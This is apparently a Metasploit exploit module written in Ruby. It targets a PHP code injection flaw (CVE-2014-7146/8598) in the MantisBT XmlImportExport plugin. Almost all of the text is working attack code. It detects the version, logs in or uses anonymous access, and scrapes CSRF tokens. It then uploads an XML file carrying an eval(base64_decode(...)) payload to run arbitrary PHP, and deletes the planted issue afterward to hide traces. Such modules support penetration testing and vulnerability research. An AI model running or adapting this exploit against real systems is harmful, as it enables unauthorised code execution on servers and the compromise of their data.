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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', 'Description'=> %q{ This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. This version also suffers from another issue. The import page is not checking the correct user level of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco 'Christian Mehlmauer' ], 'References' => [ ['CVE', '2014-7146'], ['CVE', '2014-8598'], ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'], ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Nov 8 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) ], self.class) end def get_mantis_version xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:man' => "http://futureware.biz/mantisconnect" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element("man:mc_version", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" } ) res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'), 'ctype'=> 'text/xml; charset=UTF-8', 'headers'=> { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'}, 'data' => xml.to_s }) if res && res.code == 200 match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/) if match && match.length == 2 version = match[1] print_status("Detected Mantis version #{version}") return version end end print_status("Can not detect Mantis version") return nil end def check version = get_mantis_version return Exploit::CheckCode::Unknown if version.nil? gem_version = Gem::Version.new(version) gem_version_introduced = Gem::Version.new('1.2.0a3') gem_version_fixed = Gem::Version.new('1.2.18') if gem_version < gem_version_fixed && gem_version >= gem_version_introduced return Msf::Exploit::CheckCode::Appears else return Msf::Exploit::CheckCode::Safe end end def do_login() # check for anonymous login res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'login_anon.php') }) # if the redirect contains a username (non empty), anonymous access is enabled if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/ print_status('Anonymous access enabled, no need to log in') session_cookie = res.get_cookies else res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'login_page.php'), 'vars_get' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') } }) session_cookie = res.get_cookies print_status('Logging in...') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'cookie'=> session_cookie, 'vars_post' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), 'username' => datastore['username'], 'password' => datastore['password'], 'secure_session' => 'on' } }) fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php') session_cookie = "#{session_cookie} #{res.get_cookies}" end session_cookie end def upload_xml(payload_b64, rand_text, cookies, is_check) if is_check timeout = 20 else timeout = 3 end rand_num = Rex::Text.rand_text_numeric(1, 9) print_status('Checking XmlImportExport plugin...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'plugin.php'), 'cookie' => cookies, 'vars_get' => { 'page' => 'XmlImportExport/import' } }) unless res && res.code == 200 && res.body print_error('Error trying to access XmlImportExport/import page...') return false end if res.body.include?('Plugin is not registered with MantisBT') print_error('XMLImportExport plugin is not installed') return false end # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] else print_error('Error trying to read CSRF token') return false end # Retrieving default project id if res.body =~ /name="project_id" value="([0-9]+)"/ project_id = Regexp.last_match[1] else print_error('Error trying to read project id') return false end # Retrieving default category id if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/ category_id = Regexp.last_match[1] category_name = Regexp.last_match[2] else print_error('Error trying to read default category') return false end # Retrieving default max file size if res.body =~ /name="max_file_size" value="([0-9]+)"/ max_file_size = Regexp.last_match[1] else print_error('Error trying to read default max file size') return false end # Retrieving default step if res.body =~ /name="step" value="([0-9]+)"/ step = Regexp.last_match[1] else print_error('Error trying to read default step value') return false end xml_file = %Q| <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"> <issue> <id>#{ rand_num }</id> <project id="#{ project_id }">#{ rand_text }</project> <reporter id="#{ rand_num }">#{ rand_text }</reporter> <priority id="30">normal</priority> <severity id="50">minor</severity> <reproducibility id="70">have not tried</reproducibility> <status id="#{ rand_num }">new</status> <resolution id="#{ rand_num }">open</resolution> <projection id="#{ rand_num }">none</projection> <category id="#{ category_id }">#{ category_name }</category> <date_submitted>1415492267</date_submitted> <last_updated>1415507582</last_updated> <eta id="#{ rand_num }">none</eta> <view_state id="#{ rand_num }">public</view_state> <summary>#{ rand_text }</summary> <due_date>1</due_date> <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description> </issue> </mantis> | data = Rex::MIME::Message.new data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"") data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"") data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"") data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"") data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"") data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"") data.add_part("link", nil, nil, "form-data; name=\"fallback\"") data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"") data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"") data_post = data.to_s print_status('Sending payload...') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'data'=> data_post }, timeout) if res && res.body && res.body.include?('APPLICATION ERROR') print_error('Error on uploading XML') return false end # request above will time out and return nil on success return true end def exec_php(php_code, is_check = false) print_status('Checking access to MantisBT...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path) }) fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload while Rex::Text.encode_base64(payload_clean).include?('=') payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) rand_text = Rex::Text.rand_text_alpha(5, 8) cookies = do_login() res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) return unless res_payload # When a meterpreter session is active, communication with the application is lost. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. cookies = do_login() print_status("Deleting issue (#{ rand_text })...") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'my_view_page.php'), 'cookie' => cookies }) unless res && res.code == 200 print_error('Error trying to access My View page') return false end if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/ issue_id = Regexp.last_match[1] else print_error('Error trying to retrieve issue id') return false end res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup_page.php'), 'cookie' => cookies, 'vars_get' => { 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/ csrf_token = Regexp.last_match[1] else print_error('Error trying to retrieve CSRF token') return false end res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup.php'), 'cookie' => cookies, 'vars_post' => { 'bug_actiongroup_DELETE_token' => csrf_token, 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/ print_status("Issue number (#{ issue_id }) removed") else print_error("Removing issue number (#{ issue_id }) has failed") return false end # if check return the response if is_check return res_payload else return true end end def exploit get_mantis_version unless exec_php(payload.encoded) fail_with(Failure::Unknown, 'Exploit failed, aborting.') end end end |
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